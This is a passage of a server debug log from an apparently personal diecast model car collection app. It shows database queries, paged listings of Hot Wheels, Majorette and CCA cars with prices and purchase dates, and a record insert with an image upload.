  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:39:10.520Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 125,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:40:13.555Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T04:40:13.555Z server-connect:app Executing action step identify
2026-02-04T04:40:13.555Z server-connect:app options: { provider: 'security' }
2026-02-04T04:40:13.555Z server-connect:output identity: 1
2026-02-04T04:40:13.555Z server-connect:app Executing action step restrict
2026-02-04T04:40:13.556Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:40:13.557Z server-connect:output restrict: undefined
2026-02-04T04:40:13.557Z server-connect:app Executing action step condition
2026-02-04T04:40:13.557Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T04:40:13.557Z server-connect:app Executing action step insert
2026-02-04T04:40:13.557Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T04:40:13.559Z server-connect:output insert: { affected: 1, identity: 144 }
2026-02-04T04:40:13.559Z server-connect:app Executing action step condition
2026-02-04T04:40:13.559Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T04:40:13.559Z server-connect:app Executing action step upload
2026-02-04T04:40:13.559Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T04:40:13.559Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T04:40:13.559Z server-connect:upload Process fields: 'images[]'
2026-02-04T04:40:13.559Z server-connect:upload Processing file: {
  name: 'ID077054_64NmWEfNvKiz.png',
  data: <Buffer >,
  size: 1436221,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-11-20378841770180013550',
  truncated: false,
  mimetype: 'image/png',
  md5: 'f7ebbd2dc2de81de5f8029576af7f58c',
  mv: [Function: mv]
}
2026-02-04T04:40:13.560Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID077054_64NmWEfNvKiz_594dcc76-2a74-44fb-8aed-e5cbe10b4a58.png',
  rel: 'public/assets/images/diecast/ID077054_64NmWEfNvKiz_594dcc76-2a74-44fb-8aed-e5cbe10b4a58.png'
}
2026-02-04T04:40:13.560Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID077054_64NmWEfNvKiz_594dcc76-2a74-44fb-8aed-e5cbe10b4a58.png',
  rel: 'assets/images/diecast/ID077054_64NmWEfNvKiz_594dcc76-2a74-44fb-8aed-e5cbe10b4a58.png'
}
2026-02-04T04:40:13.560Z server-connect:output upload_image: [
  {
    name: 'ID077054_64NmWEfNvKiz_594dcc76-2a74-44fb-8aed-e5cbe10b4a58.png',
    path: '/public/assets/images/diecast/ID077054_64NmWEfNvKiz_594dcc76-2a74-44fb-8aed-e5cbe10b4a58.png',
    url: '/assets/images/diecast/ID077054_64NmWEfNvKiz_594dcc76-2a74-44fb-8aed-e5cbe10b4a58.png',
    type: 'image/png',
    size: 1436221
  }
]
2026-02-04T04:40:13.560Z server-connect:app Executing action step repeat
2026-02-04T04:40:13.560Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T04:40:13.560Z server-connect:app Executing action step insert
2026-02-04T04:40:13.560Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T04:40:13.561Z server-connect:output images: { affected: 1, identity: 162 }
2026-02-04T04:40:13.561Z server-connect:output repeat_images: [ {} ]
2026-02-04T04:40:13.561Z server-connect:output condition: undefined
2026-02-04T04:40:13.561Z server-connect:output condition: undefined
2026-02-04T04:40:13.797Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:40:13.797Z server-connect:app Executing action step identify
2026-02-04T04:40:13.797Z server-connect:app options: { provider: 'security' }
2026-02-04T04:40:13.797Z server-connect:output identity: 1
2026-02-04T04:40:13.797Z server-connect:app Executing action step restrict
2026-02-04T04:40:13.797Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:40:13.798Z server-connect:output restrict: undefined
2026-02-04T04:40:13.798Z server-connect:app Executing action step paged
2026-02-04T04:40:13.798Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:40:13.802Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 126,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
